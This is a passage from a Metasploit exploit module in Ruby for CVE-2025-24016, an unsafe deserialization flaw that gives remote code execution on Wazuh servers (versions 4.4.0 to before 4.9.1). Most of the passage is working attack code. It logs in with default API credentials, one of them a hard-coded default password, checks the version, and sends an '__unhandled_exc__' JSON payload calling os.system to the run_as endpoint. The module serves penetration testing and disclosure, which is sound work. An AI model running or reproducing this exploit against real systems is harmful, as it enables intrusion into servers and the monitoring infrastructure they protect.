Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent. }, 'Author' => [ 'h00die-gr3y ', # Metasploit module & default password weakness 'DanielFi https://github.com/DanielFi', # Discovery ], 'References' => [ ['CVE', '2025-24016'], ['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'], ['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Privileged' => false, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-02-10', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 55000 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']), OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']), OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-']) ]) end # get Wazuh API token # return token if API login is successful else nil def get_api_token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'), 'headers' => { 'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD']) } }) return unless res&.code == 200 && res.body.include?('token') res_json = res.get_json_document res_json['data']['token'] unless res_json.blank? end # get the Wazuh version # return version if successful else nil def get_wazuh_version(api_token) api_auth = "Bearer #{api_token}" res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'headers' => { 'Authorization' => api_auth.to_s } }) return unless res&.code == 200 && res.body.include?('api_version') res_json = res.get_json_document res_json['data']['api_version'] unless res_json.blank? end # CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability def execute_payload(cmd, _opts = {}) # {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}} post_data = { __unhandled_exc__: { __class__: 'os.system', __args__: [ cmd.to_s ] } }.to_json send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'), 'ctype' => 'application/json', 'headers' => { 'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD']) }, 'data' => post_data.to_s }) end def check # check Wazuh API access with the API credentials api_token = get_api_token return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil? version = get_wazuh_version(api_token) return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil? version = Rex::Version.new(version) unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1') return CheckCode::Safe("Wazuh version #{version}") end CheckCode::Appears("Wazuh version #{version}") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") execute_payload(payload.encoded) end end
